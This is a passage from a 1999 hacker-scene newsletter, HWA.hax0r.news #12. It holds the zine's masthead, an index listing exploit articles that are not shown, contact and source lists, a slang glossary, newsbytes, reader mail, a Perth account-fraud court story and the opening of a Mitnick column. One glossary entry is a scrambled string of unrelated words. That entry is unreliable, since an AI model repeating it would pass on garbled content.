HWA.hax0r.news #12 HTML/Text Version


Cubesoft, our new home. RETURN.
Our REDIRECTOR
Canc0n99 411 be there or be square






HWA is sponsored by Cubesoft communications www.csoft.net


[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-= ========================================================================== = <=-[ ]-="" HWA.HAX0R.NEWS> = ========================================================================== [=HWA'99=] Number 12 Volume 1 1999 April 1st 99 ========================================================================== ** ISSUE 13 will be back to standard text format, htmlizing this file is too much work and bloats up the issue too much, if anyone wants to convert the texts to html though feel free to do so, and credit yourself for the work done as it takes some time to get all the links and make sure demo html is viewable in online versions..... - Ed 010010 0101010101 01010101 0101010101010 010101 010101 010101 01010101 010101 01010101 010101 010101010 0010101010 01010100101010 0101010101 01010101010101 Note that some stuff may not display correctly as I did not fully convert all the text contained in this file to html, it is recommended you read this file in standard text mode... =------------------------------------------------------------------------= "If your hacker admits to having been wrong, don't demand an apology; so far as the hacker is concerned, admitting to being wrong is an apology," - from http://www.plethora.net/~seebs/faqs/hacker.html see sideline, 'proper care and feeding of your hacker' =------------------------------------------------------------------------= Synopsis --------- The purpose of this newsletter is to 'digest' current events of interest that affect the online underground and netizens in general. This includes coverage of general security issues, hacks, exploits, underground news and anything else I think is worthy of a look see. (remember i'm doing this for me, not you, the fact some people happen to get a kick/use out of it is of secondary importance). This list is NOT meant as a replacement for, nor to compete with, the likes of publications such as CuD or PHRACK or with news sites such as AntiOnline, the Hacker News Network (HNN) or mailing lists such as BUGTRAQ or ISN nor could any other 'digest' of this type do so. It *is* intended however, to compliment such material and provide a reference to those who follow the culture by keeping tabs on as many sources as possible and providing links to further info, its a labour of love and will be continued for as long as I feel like it, i'm not motivated by dollars or the illusion of fame, did you ever notice how the most famous/infamous hackers are the ones that get caught? there's a lot to be said for remaining just outside the circle... @HWA =-----------------------------------------------------------------------= Welcome to HWA.hax0r.news ... #12 =-----------------------------------------------------------------------= ******************************************************************* *** /join #HWA.hax0r.news on EFnet the key is `zwen' *** *** *** *** please join to discuss or impart news on techno/phac scene *** *** stuff or just to hang out ... someone is usually around 24/7*** *** *** *** Note that the channel isn't there to entertain you its for *** *** you to talk to us and impart news, if you're looking for fun*** *** then do NOT join our channel try #wierdwigs or something... *** *** we're not #chatzone or #hack *** *** *** ******************************************************************* =-------------------------------------------------------------------------= Issue #12 =--------------------------------------------------------------------------= [ INDEX ] =--------------------------------------------------------------------------= Key Content =--------------------------------------------------------------------------= 00.0 .. COPYRIGHTS ...................................................... 00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC ....................... 00.2 .. SOURCES ......................................................... 00.3 .. THIS IS WHO WE ARE .............................................. 00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?.......................... 00.5 .. THE HWA_FAQ V1.0 ................................................ 01.0 .. GREETS .......................................................... 01.1 .. Last minute stuff, rumours, newsbytes ........................... 01.2 .. Mailbag ......................................................... 02.0 .. From the editor.................................................. 03.0 .. Aussie faces 12months jail time ................................. 04.0 .. Mitnick update, another year in jail?............................ 04.1 .. The Bumper Sticker Stays......................................... 04.2 .. Mitnick's Judgment Day at Hand................................... 04.3 .. Why We Still Have to Free Kevin Mitnick.......................... 04.4 .. Mitnick gets 46 months........................................... 05.0 .. Sesquipedalian.c 0 length connection resetting exploit........... 06.0 .. Yet more MSIE5 vulnerabilities................................... 07.0 .. QuickHacks and tips from ManicX.................................. 08.0 .. NT4 index server 2.0 vulnerabilities............................. 09.0 .. Yahoo news ticker has plaintext passwords in config files........ 10.0 .. Defacing websites? read this from bufferoverflow/attrition....... 11.0 .. Security analysis of Satellite command uplinks................... 12.0 .. Melissa Pr0n virus makes it hard for Microsoft users............. 12.1 .. The Melissa macro virus code..................................... 12.2 .. PAPA, a Melissa variant targets specific people with ping fluds.. 12.3 .. PAPA B and the MadCow variants of Melissa already spreading...... 12.4 .. April 1st Melissa virus creator apprehended...................... 13.0 .. [ISN] A hacker's worst nightmare ................................ 13.1 .. How bad is Pentium III privacy threat?........................... 14.0 .. ICQ99 Bug, erh feature turns your icq into a DoSable web server.. 15.0 .. Russian crackers takeout whitehouse.gov?......................... 16.0 .. New Excel macro virus can bypass protections..................... 17.0 .. xfree86 SUSE exploit............................................. 18.0 .. Proper feeding and caring of your new hacker .................... 19.0 .. Unix wardialer from w00w00 security.............................. 20.0 .. Australia gears up security for Olympics ........................ 21.0 .. NetBSD security advisories: umapfs .............................. 21.1 .. NetBSD noexec mount flag advisory ............................... 22.0 .. Checkpoint releases new DHCP based user 'mapping' technology..... 23.0 .. SPAWAR a navy site for the security conscious...go FISH.......... 24.0 .. A Portscan detector.............................................. 25.0 .. Port 21 (FTP) Control port vulnerability scanner................. 26.0 .. WuFTPd scanner................................................... 27.0 .. The Wu-FTPd exploit and patch thread ............................ 28.0 .. Another Wu-FTPd exploit (wh0a.c)................................. 29.0 .. Netscape 4.51 allows url sniffing exploit and patch............. 30.0 .. X11R6 rewt compromise exploit.................................... 31.0 .. Yet another wu-ftpd scanner by 03m0s1s........................... 32.0 .. RedHat Linux security vulnerabilities list from redhat........... 33.0 .. The Suburbanization of Slashdot by Pasty Drone................... 34.0 .. Canada Rolls into Fiscal 2000.................................... 35.0 .. More exploits from the ADM crew ................................. =--------------------------------------------------------------------------= Special Sections. Civil disobedience and hacktivism, hacking contests =--------------------------------------------------------------------------= SP.00 .. Intro: That Wild Wild Cyberfrontier.............................. SP.01 .. Article 1:"Electronic Civil Disobedience and..................... ...........................the World Wide Web of Hacktivism:".... SP.02 .. Article 2:"Digital Zapatismo".................................... ................................................................. SP.C1 .. The Phallusi of cracking contests................................ SP.C2 .. Hacker challenges: Boon or Bane by Gene Spafford................. =--------------------------------------------------------------------------= AD.S .. Post your site ads or etc here, if you can offer something in return thats tres cool, if not we'll consider ur ad anyways so send it in. .......................................................................... HA.HA .. Humour and puzzles ............................................ HOW.TO .. New section: "How to hack" by our illustrious editor part 3..... SITE.1 .. Featured site, ................................................. RAW.1 .. We remember Autonet'86.......................................... H.W .. Hacked Websites .............................................. A.0 .. APPENDICES...................................................... A.1 .. PHACVW linx and references...................................... =--------------------------------------------------------------------------= @HWA'99 00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ). Important semi-legalese and license to redistribute: YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE APPRECIATED the current link is http://welcome.to/HWA.hax0r.news IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL ME PRIVATELY current email cruciphux@dok.org THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS: I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE AND REDISTRIBUTE/MIRROR. - EoD Although this file and all future issues are now copyright, some of the content holds its own copyright and these are printed and respected. News is news so i'll print any and all news but will quote sources when the source is known, if its good enough for CNN its good enough for me. And i'm doing it for free on my own time so pfffft. :) No monies are made or sought through the distribution of this material. If you have a problem or concern email me and we'll discuss it. cruciphux@dok.org Cruciphux [C*:.] 00.1 CONTACT INFORMATION AND MAIL DROP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wahoo, we now have a mail-drop, if you are outside of the U.S.A or Canada / North America (hell even if you are inside ..) and wish to send printed matter like newspaper clippings a subscription to your cool foreign hacking zine or photos, small non-explosive packages or sensitive information etc etc well, now you can. (w00t) please no more inflatable sheep or plastic dog droppings, or fake vomit thanks. Send all goodies to: HWA NEWS P.O BOX 44118 370 MAIN ST. NORTH BRAMPTON, ONTARIO CANADA L6V 4H5 WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are ~~~~~~~ reading this from some interesting places, make my day and get a mention in the zine, send in a postcard, I realize that some places it is cost prohibitive but if you have the time and money be a cool dude / gal and send a poor guy a postcard preferably one that has some scenery from your place of residence for my collection, I collect stamps too so you kill two birds with one stone by being cool and mailing in a postcard, return address not necessary, just a "hey guys being cool in Bahrain, take it easy" will do ... ;-) thanx. Ideas for interesting 'stuff' to send in apart from news: - Photo copies of old system manual front pages (optionally signed by you) ;-) - Photos of yourself, your mom, sister, dog and or cat in a NON compromising position plz I don't want pr0n. - Picture postcards - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250 tapes with hack/security related archives, logs, irc logs etc on em. - audio or video cassettes of yourself/others etc of interesting phone fun or social engineering examples or transcripts thereof. If you still can't think of anything you're probably not that interesting a person after all so don't worry about it Our current email: Submissions/zine gossip.....: hwa@press.usmc.net Private email to editor.....: cruciphux@dok.org Distribution/Website........: sas72@usa.net @HWA 00.2 Sources *** ~~~~~~~~~~~ Sources can be some, all, or none of the following (by no means complete nor listed in any degree of importance) Unless otherwise noted, like msgs from lists or news from other sites, articles and information is compiled and or sourced by Cruciphux no copyright claimed. HiR:Hackers Information Report... http://axon.jccc.net/hir/ News & I/O zine ................. http://www.antionline.com/ Back Orifice/cDc..................http://www.cultdeadcow.com/ News site (HNN) .....,............http://www.hackernews.com/ Help Net Security.................http://net-security.org/ News,Advisories,++ ...............http://www.l0pht.com/ NewsTrolls (HNN)..................http://www.newstrolls.com/ News + Exploit archive ...........http://www.rootshell.com/beta/news.html CuD ..............................http://www.soci.niu.edu/~cudigest News site+........................http://www.zdnet.com/ News site+........................http://www.gammaforce.org/ News site+........................http://www.projectgamma.com/ +Various mailing lists and some newsgroups, such as ... +other sites available on the HNN affiliates page, please see http://www.hackernews.com/affiliates.html as they seem to be popping up rather frequently ... * Yes demoniz is now officially retired, if you go to that site though the Bikkel web board (as of this writing) is STILL ACTIVE, www.hwa-iwa.org will also be hosting a webboard as soon as that site comes online perhaps you can visit it and check us out if I can get some decent wwwboard code running I don't really want to write my own, another alternative being considered is a telnet bbs that will be semi-open to all, you will be kept posted. - cruciphux http://www.the-project.org/ .. IRC list/admin archives http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk alt.hackers.malicious alt.hackers alt.2600 BUGTRAQ ISN security mailing list ntbugtraq <+OTHERS> NEWS Agencies, News search engines etc: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.cnn.com/SEARCH/ http://www.foxnews.com/search/cgi-bin/search.cgi?query=cracker&days=0&wires=0&startwire=0 http://www.news.com/Searching/Results/1,18,1,00.html?querystr=cracker http://www.ottawacitizen.com/business/ http://search.yahoo.com.sg/search/news_sg?p=cracker http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=cracker http://www.zdnet.com/zdtv/cybercrime/ http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column) NOTE: See appendices for details on other links. http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm http://freespeech.org/eua/ Electronic Underground Affiliation http://www.l0pht.com/cyberul.html http://www.hackernews.com/archive.html?122998.html http://ech0.cjb.net ech0 Security http://net-security.org Net Security ... Submissions/Hints/Tips/Etc ~~~~~~~~~~~~~~~~~~~~~~~~~~ All submissions that are `published' are printed with the credits you provide, if no response is received by a week or two it is assumed that you don't care wether the article/email is to be used in an issue or not and may be used at my discretion. Looking for: Good news sites that are not already listed here OR on the HNN affiliates page at http://www.hackernews.com/affiliates.html Magazines (complete or just the articles) of breaking sekurity or hacker activity in your region, this includes telephone phraud and any other technological use, abuse hole or cool thingy. ;-) cut em out and send it to the drop box. - Ed Mailing List Subscription Info (Far from complete) Feb 1999 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~ ISS Security mailing list faq : http://www.iss.net/iss/maillist.html THE MOST READ: BUGTRAQ - Subscription info ~~~~~~~~~~~~~~~~~~~~~~~~~~~ What is Bugtraq? Bugtraq is a full-disclosure UNIX security mailing list, (see the info file) started by Scott Chasin . To subscribe to bugtraq, send mail to listserv@netspace.org containing the message body subscribe bugtraq. I've been archiving this list on the web since late 1993. It is searchable with glimpse and archived on-the-fly with hypermail. Searchable Hypermail Index; http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html About the Bugtraq mailing list ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following comes from Bugtraq's info file: This list is for *detailed* discussion of UNIX security holes: what they are, how to exploit, and what to do to fix them. This list is not intended to be about cracking systems or exploiting their vulnerabilities. It is about defining, recognizing, and preventing use of security holes and risks. Please refrain from posting one-line messages or messages that do not contain any substance that can relate to this list`s charter. I will allow certain informational posts regarding updates to security tools, documents, etc. But I will not tolerate any unnecessary or nonessential "noise" on this list. Please follow the below guidelines on what kind of information should be posted to the Bugtraq list: + Information on Unix related security holes/backdoors (past and present) + Exploit programs, scripts or detailed processes about the above + Patches, workarounds, fixes + Announcements, advisories or warnings + Ideas, future plans or current works dealing with Unix security + Information material regarding vendor contacts and procedures + Individual experiences in dealing with above vendors or security organizations + Incident advisories or informational reporting Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq reflector address if the response does not meet the above criteria. Remember: YOYOW. You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of those words without your permission in any medium outside the distribution of this list may be challenged by you, the author. For questions or comments, please mail me: chasin@crimelab.com (Scott Chasin) Crypto-Gram ~~~~~~~~~~~ CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses, insights, and commentaries on cryptography and computer security. To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a blank message to crypto-gram-subscribe@chaparraltree.com.  To unsubscribe, visit http://www.counterpane.com/unsubform.html.  Back issues are available on http://www.counterpane.com. CRYPTO-GRAM is written by Bruce Schneier.  Schneier is president of Counterpane Systems, the author of "Applied Cryptography," and an inventor of the Blowfish, Twofish, and Yarrow algorithms.  He served on the board of the International Association for Cryptologic Research, EPIC, and VTW.  He is a frequent writer and lecturer on cryptography. CUD Computer Underground Digest ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This info directly from their latest ish: Computer underground Digest    Sun  14 Feb, 1999   Volume 11 : Issue 09                             ISSN  1004-042X        Editor: Jim Thomas (cudigest@sun.soci.niu.edu)        News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)        Archivist: Brendan Kehoe        Poof Reader:   Etaion Shrdlu, Jr.        Shadow-Archivists: Dan Carosone / Paul Southworth                           Ralph Sims / Jyrki Kuoppala                           Ian Dickinson        Cu Digest Homepage: http://www.soci.niu.edu/~cudigest [ISN] Security list ~~~~~~~~~~~~~~~~~~~ This is a low volume list with lots of informative articles, if I had my way i'd reproduce them ALL here, well almost all .... ;-) - Ed Subscribe: mail majordomo@repsec.com with "subscribe isn". @HWA 00.3 THIS IS WHO WE ARE ~~~~~~~~~~~~~~~~~~ Some HWA members and Legacy staff ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cruciphux@dok.org.........: currently active/editorial darkshadez@ThePentagon.com: currently active/man in black fprophet@dok.org..........: currently active/IRC+ man in black sas72@usa.net ............. currently active/IRC+ distribution vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black dicentra...(email withheld): IRC+ grrl in black Foreign Correspondants/affiliate members ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ATTENTION: All foreign correspondants please check in or be removed by next issue I need your current emails since contact info was recently lost in a HD mishap and i'm not carrying any deadweight. Plus we need more people sending in info, my apologies for not getting back to you if you sent in January I lost it, please resend. N0Portz ..........................: Australia Qubik ............................: United Kingdom system error .....................: Indonesia Wile (wile coyote) ...............: Japan/the East Ruffneck ........................: Netherlands/Holland And unofficially yet contributing too much to ignore ;) Spikeman .........................: World media Please send in your sites for inclusion here if you haven't already also if you want your emails listed send me a note ... - Ed http://www.genocide2600.com/~spikeman/ .. Spikeman's DoS and protection site ******************************************************************* *** /join #HWA.hax0r.news on EFnet the key is `zwen' *** ******************************************************************* :-p 1. We do NOT work for the government in any shape or form.Unless you count paying taxes ... in which case we work for the gov't in a BIG WAY. :-/ 2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news events its a good idea to check out issue #1 at least and possibly also the Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ... @HWA 00.4 Whats in a name? why HWA.hax0r.news?? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Well what does HWA stand for? never mind if you ever find out I may have to get those hax0rs from 'Hackers' or the Pretorians after you. In case you couldn't figure it out hax0r is "new skewl" and although it is laughed at, shunned, or even pidgeon holed with those 'dumb leet (l33t?) dewds' this is the state of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you up and comers, i'd highly recommend you get that book. Its almost like buying a clue. Anyway..on with the show .. - Editorial staff @HWA 00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Also released in issue #3. (revised) check that issue for the faq it won't be reprinted unless changed in a big way with the exception of the following excerpt from the FAQ, included to assist first time readers: Some of the stuff related to personal useage and use in this zine are listed below: Some are very useful, others attempt to deny the any possible attempts at eschewing obfuscation by obsucuring their actual definitions. @HWA - see EoA ;-) != - Mathematical notation "is not equal to" or "does not equal" ASC(247) "wavey equals" sign means "almost equal" to. If written an =/= (equals sign with a slash thru it) also means !=, = is equal to or greater than (etc, this aint fucking grade school, cripes, don't believe I just typed all that..) AAM - Ask a minor (someone under age of adulthood, usually <16, EDIBLE - CRACKERS . ACCEPT 1 2 MAD TRY A BEING I HERE, GOT ACCESS AN AT BY OFTEN PEPPER KUNG-FU (GERMANY) GREAT ED GEAR, GUY OFF SCRIPT KIDDIE GOOD GO also wigger Vanilla Ice is a wigger, The Beastie Boys and rappers speak using ebonics, speaking in a dark tongue ... being ereet, see pheer EoC - End of Commentary EoA - End of Article or more commonly @HWA EoF - End of file EoD - End of diatribe (AOL'ers: look it up) FUD - Coined by Unknown and made famous by HNN - "Fear uncertainty and doubt", usually in general media articles not high brow articles such as ours or other HNN affiliates ;) du0d - a small furry animal that scurries over keyboards causing people to type wierd crap on irc, hence when someone says something stupid or off topic 'du0d wtf are you talkin about' may be used. *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to define, I think it is best defined as pop culture's view on The Hacker ala movies such as well erhm "Hackers" and The Net etc... usually used by "real" hackers or crackers in a derogatory or slang humorous way, like 'hax0r me some coffee?' or can you hax0r some bread on the way to the table please?' 2 - A tool for cutting sheet metal. HHN - Maybe a bit confusing with HNN but we did spring to life around the same time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper noun means the hackernews site proper. k? k. ;& HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d MFI/MOI- Missing on/from IRC NFC - Depends on context: No Further Comment or No Fucking Comment NFR - Network Flight Recorder (Do a websearch) see 0wn3d NFW - No fuckin'way *0WN3D - You are cracked and owned by an elite entity see pheer *OFCS - Oh for christ's sakes PHACV - And variations of same Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare Alternates: H - hacking, hacktivist C - Cracking C - Cracking V - Virus W - Warfare CT - Cyber Terrorism *PHEER - This is what you do when an ereet or elite person is in your presence see 0wn3d *RTFM - Read the fucking manual - not always applicable since some manuals are pure shit but if the answer you seek is indeed in the manual then you should have RTFM you dumb ass. TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0 TBA - To Be Arranged/To Be Announced also 2ba TFS - Tough fucking shit. *w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions from the underground masses. also "w00ten" 2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers) *wtf - what the fuck *ZEN - The state you reach when you *think* you know everything (but really don't) usually shortly after reaching the ZEN like state something will break that you just 'fixed' or tweaked. @HWA -=- :. .: -=- 01.0 Greets!?!?! yeah greets! w0w huh. - Ed ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Thanks to all in the community for their support and interest but i'd like to see more reader input, help me out here, whats good, what sucks etc, not that I guarantee i'll take any notice mind you, but send in your thoughts anyway. * all the people who sent in cool emails and support FProphet Pyra Pasty Drone TwstdPair TheDuece _NeM_ D----Y RTFM99 Kevin Mitnick (watch yer back) ypwitch kimmie vexxation hunchback mack sAs72 Spikeman and the #innerpulse, #hns crew and some inhabitants of #leetchans .... although I use the term 'leet loosely these days, ;) kewl sites: + http://www.l0pht.com/ + http://www.2600.com/ + http://www.genocide2600.com/ + http://www.genocide2600.com/~spikeman/ + http://www.genocide2600.com/~tattooman/ + http://www.hackernews.com/ (Went online same time we started issue 1!) + http://www.net-security.org/ + http://www.slashdot.org/ + http://www.freshmeat.net/ @HWA 01.1 Last minute stuff, rumours and newsbytes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "What is popular isn't always right, and what is right isn't always popular..." - FProphet '99 +++ When was the last time you backed up your important data? ++ Y2K: Qantas prepared to cancel flights The Y2K problem has proven too much for Australian airline Qantas, which has announced it may have to cancel flights. In a statement to the Australian Stock Exchange (ASX), the airline said it may reduce the number of flights on some domestic and international routes. "Qantas will only flyf it is safe to do so," its report stated. Qantas said it had checked with the manufacturers of its aircraft, which advised "that there are no safety or airworthiness issues relating to the year 2000 compliance of their aircraft". On this basis, the airline said it was satisfied that its business was "unlikely to be significantly disrupted". However, Qantas said services provided by "certain airports and air space authorities" were not compliant, and for this reason contingency plans were being developed. Want the full story? It's at http://newswire.com.au/9903/qy2k.htm ++ School Net filter software bans Bible A Net filtering system used by NSW state schools has been found to inaccurately block certain Web sites, according to online civil liberties group Electronic Frontiers Australia (EFA). Citing a recent report by the US body Censorware Project, EFA said the SmartFilter product used by schools had "problems". The report 'Censored Internet Access in Utah Public Schools and Libraries' found SmartFilter blocked sites featuring all of Shakespeare's plays, the Koran, the 'Adventures of Sherlock Holmes' and a number of safe-sex and AIDS prevention sites, to name just a few. Danny Yee of EFA said SmartFilter's claim that all blocked sites were checked by people was false. http://newswire.com.au/9903/netfilt.htm ++ AOL and Sun to ship in early 2000 AOL and Sun executives have revealed plans for their first jointly developed products. The products, to be shipped early next year, will be available for most major platforms including Linux and Windows NT, and will be sold through a dedicated sales force of more than 500 people. AOL and Sun have also announced they will continue to maintain support for their existing software lines. Details are still unclear about how Sun and AOL/Netscape will develop a multiplatform ecommerce solution, and what form the product will take. http://newswire.com.au/9903/aosun.htm ++ AMAZON TO DO AUCTIONS (BUS. 7:40 am) http://www.wired.com/news/news/email/explode-infobeat/business/story/18788.html The book and music seller plans to take on eBay, OnSale.... Also: A green energy company goes online, announces IPO.... Disney's Blast rejoins the family.... China likes CDMA.... Covad extends DSL nationwide for small businesses.... And ZiaSun says it will take Web-based email everywhere and anywhere. ++ WHEN SECRECY STOPS SCIENCE (TECH. 3:00 am) http://www.wired.com/news/news/email/explode-infobeat/technology/story/18740.html Yes, it's bad to share the recipe for a really big bomb. But scientific secrecy can go too far. An MIT colloquium tries to strike a balance. By Chris Oakes. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ++ STATES SEEK OS SURRENDER (POL. 3:00 am) http://www.wired.com/news/news/email/explode-infobeat/politics/story/18781.html Nineteen states that have accused Microsoft of antitrust violations want to force the company to auction off its Windows operating system. There's still no hint of what the feds want. Mucho thanks to Spikeman for directing his efforts to our cause of bringing you the news we want to read about in a timely manner ... - Ed @HWA 01.2 MAILBAG - email and posts from the message board worthy of a read ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Yes we really do get a pile of mail in case you were wondering ;-0 heres a sampling of some of the mail we get here, the more interesting ones are included and of course we had to get in the plugs for the zine coz we love to receive those too *G* - Ed Delivered-To: dok-cruciphux@dok.org From: "liquid phire" Subject: the unknown netizen Date: Thu, 25 Mar 1999 15:15:34 PST the unknown netizen we are not all sinless, our ethics do not save us from damnation. we are close to gods, but our divinity is tainted with blood. we are not perfect and our mistakes do not go unnoticed. but we are one. it is not one cry that sends a shiver up the spine of every government with something to hide, it is the shouts of a thousand warriors. it is not a few that are imprisioned, it is us all that wear chains. it is not one tear that is shed, it is an ocean of sorrow that drowns everything in it's wake. we are of one mind and we never forget. we are of one body, intertwined electricity, wires and chips. we have but one vision, a world in which rights need not be fought for. as one we fight. as one we will see a new world. as one we are the faceless, the names that will never be lost to time. phiregod liquidphire@hotmail.com please exsuse all errors in grammer/spelling. Get Your Private, Free Email at http://www.hotmail.com -=- -=- Delivered-To: dok-cruciphux@dok.org From: "John Doe" To: cruciphux@dok.org Subject: Book Date: Sat, 27 Mar 1999 05:46:08 PST Mime-Version: 1.0 Content-type: text/plain Dear Editor, I am currently in the process of writing a book looking at the dawn of hacking through to where it is now and on to the future. This book will not be containing any comments designed to inflame the current public perception of hackers, it has been designed to shatter the myths. To do this though, I am in need of some help. I need people to point me in the right direction. I shall also be entering comments from a few hackers if they will let me. One chapter in the book seems to have gotten the interest of a lot of hackers. This chapter is about profiles of hackers. Basically, I write out these profiles without their nicks, names or anything to identify them and show what a 'typical hacker' is if there indeed is one. If you could help me out by putting an article in your net magazine requesting aid for me or by talking to other hackers that are more 'leet' than others so that I can get their opinions. So far, I have spoken to very little people and their talents seem to be more in their head than actually physically used. Any help would be greatly appreciated. Your Sincerely XXXXXXXXXXXX Get Your Private, Free Email at http://www.hotmail.com Send responses to this to me directly for forwarding to the writer cruciphux@dok.org thankyou. ================================================================ @HWA 02.0 From the editor. ~~~~~~~~~~~~~~~~ #include #include #include main() { printf ("Read commented source!\n\n"); /*well i tried out an idea with html and it doesn't agree with me *too much double text is created and its a damn load more work to *put together an issue that is html and text readable so we'll be *sticking to text for now. * *Perhaps someone will volunteer time to convert an issue or two to *html or sometime in the future when I have more spare time I may *be able to make html versions, meanwhile ... have fun ... - Cruci * */ printf ("EoF.\n"); } Congrats, thanks, articles, news submissions and kudos to us at the main address: hwa@press.usmc.net complaints and all nastygrams and mailbombs can go to /dev/nul nukes, synfloods and papasmurfs to 127.0.0.1, private mail to cruciphux@dok.org danke. C*:. @HWA 03.0 Aussie man faces 12 months in jail ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Perth 'passwords' man appears in court Roulla Yiacoumi A Perth man charged with 37 counts of unlawfully operating a computer system has appeared in court. Christopher Thomas Daniels, 20, did not enter a plea and requested legal advice before his next appearance on April 13. It was alleged Daniels had passwords to 350 Internet accounts, but used just 37 to fraudulently gain $50 worth of Net access (see story). It is believed he was given the account details by a juvenile. Users were not aware their accounts had been compromised; the ISP noticed inconsistencies and contacted police. Detective Senior Constable Mike Wheeler from the WA major fraud squad said people gaining access to Net passwords was a widespread problem, not limited to this particular ISP. The accounts in this case were all with one ISP, Vianet in WA. Vianet managing director Tony Broughton was not available for comment this afternoon. 22/03/99 15:51 Net fraud: Aussie man charged Roulla Yiacoumi A 20-year old Perth man is facing 12 months in jail over Internet fraud amounting to just $50 worth of Net access. Christopher Thomas Daniels of Cannington has been charged by the Western Australian major fraud squad for accessing other people's Internet accounts. He faces 37 counts of unlawfully operating a computer system. According to Detective Senior Constable Mike Wheeler, Daniels admitted to having passwords to more than 350 accounts, but he had used only 37. The accounts were all for prepaid access from one of Australia's larger ISPs, and the customers affected were unaware that their accounts had been accessed. "The ISP noticed inconsistencies and notified us," said Wheeler. "But let me say that this kind of problem is not restricted to just one ISP." The WA man said he was given the passwords by another person, a juvenile who will be subject to a different court system. Daniels is set to appear in court tomorrow. He faces up to 12 months in jail or a fine of up to $4,000. This article is located at http://newswire.com.au/9903/nfraud.htm @HWA 04.0 Mitnick Updates ~~~~~~~~~~~~~~~ 04.1 The Bumper Sticker Stays ~~~~~~~~~~~~~~~~~~~~~~~~ from Chaos theory http://www.zdnet.com/zdtv/cybercrime/chaostheory/story/0,3700,2229344,00.html After reflecting on the long, strange case of Kevin Mitnick, I've decided that the "Free Kevin" bumper sticker's not coming off my car-- not yet. By Kevin Poulsen March 22, 1999 After four long years in the house of many doors, 35-year-old Kevin Mitnick is ready to swallow a bitter pill, plead guilty to some of the twenty-five felonies on his indictment plate and accept a prison sentence a few months longer than the time he's already spent in stir. But I'm not scraping the Free Kevin bumper sticker from my car any time soon. The sticker stays because Tuesday's sealed plea agreement is now on the desk of Judge Mariana Pfaelzer, who may yet reject it as summarily as she refused to allow him the due process of a bail hearing. The sticker also stays because Mitnick is still facing a dusty California state charge from the early '90s which threatens to flip him out of the frying pan of federal 